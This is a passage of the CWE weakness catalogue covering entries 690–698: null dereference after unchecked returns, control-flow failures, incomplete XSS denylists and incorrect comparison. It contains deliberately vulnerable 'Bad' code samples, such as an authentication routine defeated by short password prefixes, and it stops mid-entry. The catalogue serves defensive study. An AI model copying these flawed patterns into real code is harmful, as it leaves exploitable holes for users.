### Composite Components

Nature	Type	ID	Name	Page
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
Requires		732	Incorrect Permission Assignment for Critical Resource	1445

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** Perl (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

## Observed Examples

Reference	Description
<b>CVE-2002-0760</b>	Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0760">https://www.cve.org/CVERecord?id=CVE-2002-0760</a>
<b>CVE-2005-2174</b>	Product inserts a new object into database before setting the object's permissions, introducing a race condition. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2174">https://www.cve.org/CVERecord?id=CVE-2005-2174</a>
<b>CVE-2006-5214</b>	Error file has weak permissions before a chmod is performed. <a href="https://www.cve.org/CVERecord?id=CVE-2006-5214">https://www.cve.org/CVERecord?id=CVE-2006-5214</a>
<b>CVE-2005-2475</b>	Archive permissions issue using hard link. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2475">https://www.cve.org/CVERecord?id=CVE-2005-2475</a>
<b>CVE-2003-0265</b>	Database product creates files world-writable before initializing the setuid bits, leading to modification of executables. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0265">https://www.cve.org/CVERecord?id=CVE-2003-0265</a>

## Notes

### Research Gap

Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-690: Unchecked Return Value to NULL Pointer Dereference

**Weakness ID** : 690

**Structure** : Chain

**Abstraction** : Compound

### Description

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

### Chain Components

Nature	Type	ID	Name	Page
StartsWith	ⓑ	252	Unchecked Return Value	575
FollowedBy	ⓑ	476	NULL Pointer Dereference	1070

### Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	476	NULL Pointer Dereference	1070

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Memory	
Availability	Modify Memory	
<p><i>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</i></p>		

### Detection Methods

#### Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

#### White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

### Demonstrative Examples



**Example 1:**

The code below makes a call to the `getUserName()` function but doesn't check the return value before dereferencing (which may cause a `NullPointerException`).

Example Language: Java

(Bad)

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
    ...
}
```

**Example 2:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this code is also vulnerable to a buffer overflow (CWE-119).

**Observed Examples**

Reference	Description
<b>CVE-2008-1052</b>	Large Content-Length value leads to <code>NULL</code> pointer dereference when <code>malloc</code> fails. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1052">https://www.cve.org/CVERecord?id=CVE-2008-1052</a>
<b>CVE-2006-6227</b>	Large message length field leads to <code>NULL</code> pointer dereference when <code>malloc</code> fails. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6227">https://www.cve.org/CVERecord?id=CVE-2006-6227</a>
<b>CVE-2006-2555</b>	Parsing routine encounters <code>NULL</code> dereference when input is missing a colon separator. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2555">https://www.cve.org/CVERecord?id=CVE-2006-2555</a>
<b>CVE-2003-1054</b>	URI parsing API sets argument to <code>NULL</code> when a parsing failure occurs, such as when the <code>Referer</code> header is missing a hostname, leading to <code>NULL</code> dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1054">https://www.cve.org/CVERecord?id=CVE-2003-1054</a>
<b>CVE-2008-5183</b>	chain: unchecked return value can lead to <code>NULL</code> dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-5183">https://www.cve.org/CVERecord?id=CVE-2008-5183</a>

**MemberOf Relationships**

This `MemberOf` relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP34-C	CWE More Specific	Do not dereference null pointers
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors
SEI CERT Perl Coding Standard	EXP32-PL	CWE More Specific	Do not ignore function return values

## CWE-691: Insufficient Control Flow Management

**Weakness ID** : 691

**Structure** : Simple

**Abstraction** : Pillar

### Description

The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
ParentOf	B	430	Deployment of Wrong Handler	985
ParentOf	B	431	Missing Handler	986
ParentOf	C	662	Improper Synchronization	1363
ParentOf	C	670	Always-Incorrect Control Flow Implementation	1384
ParentOf	C	696	Incorrect Behavior Order	1426
ParentOf	C	705	Incorrect Control Flow Scoping	1437
ParentOf	V	768	Incorrect Short Circuit Evaluation	1500
ParentOf	C	799	Improper Control of Interaction Frequency	1582
ParentOf	C	834	Excessive Iteration	1634
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	1649
ParentOf	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1926

Nature	Type	ID	Name	Page
ParentOf	ⓑ	1281	Sequence of Processor Instructions Leads to Unexpected Behavior	1960

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	ⓐ	977	SFP Secondary Cluster: Design	888	2200

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	40		Insufficient Process Validation

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

## CWE-692: Incomplete Denylist to Cross-Site Scripting

**Weakness ID** : 692

**Structure** : Chain

**Abstraction** : Compound

### Description

The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.

### Chain Components

Nature	Type	ID	Name	Page
StartsWith	ⓑ	184	Incomplete List of Disallowed Inputs	441
FollowedBy	ⓑ	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159


### Extended Description

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a denylist cannot keep track of all the variations. The "XSS Cheat Sheet" [REF-714] contains a large number of attacks that are intended to bypass incomplete denylists.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Observed Examples

Reference	Description
<b>CVE-2007-5727</b>	Denylist only removes <SCRIPT> tag. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5727">https://www.cve.org/CVERecord?id=CVE-2007-5727</a>
<b>CVE-2006-3617</b>	Denylist only removes <SCRIPT> tag. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3617">https://www.cve.org/CVERecord?id=CVE-2006-3617</a>
<b>CVE-2006-4308</b>	Denylist only checks "javascript:" tag <a href="https://www.cve.org/CVERecord?id=CVE-2006-4308">https://www.cve.org/CVERecord?id=CVE-2006-4308</a>

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
71	Using Unicode Encoding to Bypass Validation Logic
80	Using UTF-8 Encoding to Bypass Validation Logic
85	AJAX Footprinting
120	Double Encoding
267	Leverage Alternate Encoding

### References

[REF-714]RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < <http://ha.ckers.org/xss.html> >.

## CWE-693: Protection Mechanism Failure

**Weakness ID** : 693  
**Structure** : Simple  
**Abstraction** : Pillar

### Description

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

### Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	B	182	Collapse of Data into Unsafe Value	437
ParentOf	B	184	Incomplete List of Disallowed Inputs	441
ParentOf	C	311	Missing Encryption of Sensitive Data	718
ParentOf	C	326	Inadequate Encryption Strength	756
ParentOf	C	327	Use of a Broken or Risky Cryptographic Algorithm	758
ParentOf	C	330	Use of Insufficiently Random Values	772
ParentOf	C	345	Insufficient Verification of Data Authenticity	805
ParentOf	B	357	Insufficient UI Warning of Dangerous Operations	833
ParentOf	B	358	Improperly Implemented Security Check for Standard	834
ParentOf	C	424	Improper Protection of Alternate Path	968
ParentOf	C	602	Client-Side Enforcement of Server-Side Security	1271
ParentOf	B	653	Improper Isolation or Compartmentalization	1353
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	1355
ParentOf	B	655	Insufficient Psychological Acceptability	1357
ParentOf	B	656	Reliance on Security Through Obscurity	1359
ParentOf	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1471
ParentOf	B	778	Insufficient Logging	1525
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1595
ParentOf	C	1039	Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations	1738
ParentOf	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	1889
ParentOf	B	1253	Incorrect Selection of Fuse Values	1898
ParentOf	B	1269	Product Released in Non-Release Configuration	1936
ParentOf	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	1955
ParentOf	B	1291	Public Key Re-Use for Signing both Debug and Production Code	1978
ParentOf	B	1318	Missing Support for Security Features in On-chip Fabrics or Buses	2023
ParentOf	B	1319	Improper Protection against Electromagnetic Fault Injection (EM-FI)	2026
ParentOf	B	1326	Missing Immutable Root of Trust in Hardware	2037
ParentOf	B	1338	Improper Protections Against Hardware Overheating	2062

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2199
MemberOf	C	1370	ICS Supply Chain: Common Mode Frailties	1358	2298

## Notes

### Research Gap

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
17	Using Malicious Files
20	Encryption Brute Forcing
22	Exploiting Trust in Client
36	Using Unpublished Interfaces or Functionality
51	Poison Web Service Registry
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
59	Session Credential Falsification through Prediction
65	Sniff Application Code
74	Manipulating State
87	Forceful Browsing
107	Cross Site Tracing
127	Directory Indexing
237	Escaping a Sandbox by Calling Code in Another Language
477	Signature Spoofing by Mixing Signed and Unsigned Content
480	Escaping Virtualization
668	Key Negotiation of Bluetooth Attack (KNOB)

## CWE-694: Use of Multiple Resources with Duplicate Identifier

**Weakness ID** : 694

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

### Extended Description

If the product assumes that each resource has a unique identifier, the product could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ChildOf		99	Improper Control of Resource Identifiers ('Resource Injection')	235
ParentOf		102	Struts: Duplicate Validation Forms	239
ParentOf		462	Duplicate Key in Associative List (Alist)	1043

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215
MemberOf		399	Resource Management Errors	2117

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.</i>	
Other	Quality Degradation	

**Potential Mitigations**

**Phase: Architecture and Design**

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

**Observed Examples**

Reference	Description
<b>CVE-2013-4787</b>	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive. <a href="https://www.cve.org/CVERecord?id=CVE-2013-4787">https://www.cve.org/CVERecord?id=CVE-2013-4787</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		984	SFP Secondary Cluster: Life Cycle	888	2204

**Notes**

**Relationship**

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

**CWE-695: Use of Low-Level Functionality**

**Weakness ID** : 695  
**Structure** : Simple



**Abstraction** : Base**Description**

The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.

**Extended Description**

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ParentOf		111	Direct Use of Unsafe JNI	258
ParentOf		245	J2EE Bad Practices: Direct Management of Connections	563
ParentOf		246	J2EE Bad Practices: Direct Use of Sockets	564
ParentOf		383	J2EE Bad Practices: Direct Use of Threads	885
ParentOf		574	EJB Bad Practices: Use of Synchronization Primitives	1224
ParentOf		575	EJB Bad Practices: Use of AWT Swing	1225
ParentOf		576	EJB Bad Practices: Use of Java I/O	1228

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1228	API / Function Errors	2275

**Common Consequences**

Scope	Impact	Likelihood
Other	Other	

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
36	Using Unpublished Interfaces or Functionality

**CWE-696: Incorrect Behavior Order****Weakness ID** : 696**Structure** : Simple**Abstraction** : Class**Description**

1426

The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
ParentOf	B	179	Incorrect Behavior Order: Early Validation	430
ParentOf	B	408	Incorrect Behavior Order: Early Amplification	942
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1192
ParentOf	B	1190	DMA Device Enabled Too Early in Boot Phase	1831
ParentOf	B	1193	Power-On of Untrusted Execution Core Before Enabling Fabric Access Control	1837
ParentOf	B	1280	Access Control Check Implemented After Asset is Accessed	1958

### Weakness Ordinalities

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	

### Observed Examples

Reference	Description
<b>CVE-2019-9805</b>	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2019-9805">https://www.cve.org/CVERecord?id=CVE-2019-9805</a>
<b>CVE-2007-5191</b>	file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges <a href="https://www.cve.org/CVERecord?id=CVE-2007-5191">https://www.cve.org/CVERecord?id=CVE-2007-5191</a>
<b>CVE-2007-1588</b>	C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended <a href="https://www.cve.org/CVERecord?id=CVE-2007-1588">https://www.cve.org/CVERecord?id=CVE-2007-1588</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	POS36-C	CWE More Abstract	Observe correct revocation order while relinquishing privileges

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

## CWE-697: Incorrect Comparison

**Weakness ID** : 697

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.

### Extended Description

This Pillar covers several possibilities:

- the comparison checks one factor incorrectly;
- the comparison should consider multiple factors, but it does not check at least one of those factors at all;
- the comparison checks the wrong factor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf		1000	Research Concepts	2335
ParentOf		183	Permissive List of Allowed Inputs	439
ParentOf		185	Incorrect Regular Expression	444
ParentOf		581	Object Model Violation: Just One of Equals and Hashcode Defined	1236
ParentOf		1023	Incomplete Comparison with Missing Factors	1731
ParentOf		1024	Comparison of Incompatible Types	1733
ParentOf		1025	Comparison Using Wrong Factors	1734
ParentOf		1039	Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations	1738
ParentOf		1077	Floating Point Comparison with Incorrect Operator	1778
ParentOf		1254	Incorrect Comparison Logic Granularity	1900
CanFollow		481	Assigning instead of Comparing	1090

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Demonstrative Examples

#### Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

*Example Language: Java*

*(Bad)*

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

#### Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Example Language: C*

*(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strcmp(username, inUser) != 0) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strcmp(pass, inPass)) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
}
```

```

else {
    ExitError("Authentication failed");
}
}
}

```

In `AuthenticateUser()`, the `strncmp()` call uses the string length of an attacker-provided `inPass` parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language:

(Attack)

```

p
pa
pas
pass

```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

### Observed Examples

Reference	Description
<b>CVE-2021-3116</b>	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) <a href="https://www.cve.org/CVERecord?id=CVE-2021-3116">https://www.cve.org/CVERecord?id=CVE-2021-3116</a>
<b>CVE-2020-15811</b>	Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning <a href="https://www.cve.org/CVERecord?id=CVE-2020-15811">https://www.cve.org/CVERecord?id=CVE-2020-15811</a>
<b>CVE-2016-10003</b>	Proxy performs incorrect comparison of request headers, leading to infoleak <a href="https://www.cve.org/CVERecord?id=CVE-2016-10003">https://www.cve.org/CVERecord?id=CVE-2016-10003</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

### Notes

## Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
15	Command Delimiters
24	Filter Failure through Buffer Overflow
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
43	Exploiting Multiple Input Interpretation Layers
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
88	OS Command Injection
92	Forced Integer Overflow
120	Double Encoding
182	Flash Injection
267	Leverage Alternate Encoding

## CWE-698: Execution After Redirect (EAR)

**Weakness ID :** 698

**Structure :** Simple

**Abstraction :** Base

### Description

The web application sends a redirect to another location, but instead of exiting, it executes additional code.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384
ChildOf		705	Incorrect Control Flow Scoping	1437

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

## Weakness Ordinalities

**Primary :**

## Alternate Terms

**Redirect Without Exit :**

## Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	<i>This weakness could affect the control flow of the application and allow execution of untrusted code.</i>	
Availability		

## Detection Methods

### Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

## Demonstrative Examples

### Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

*Example Language: PHP*

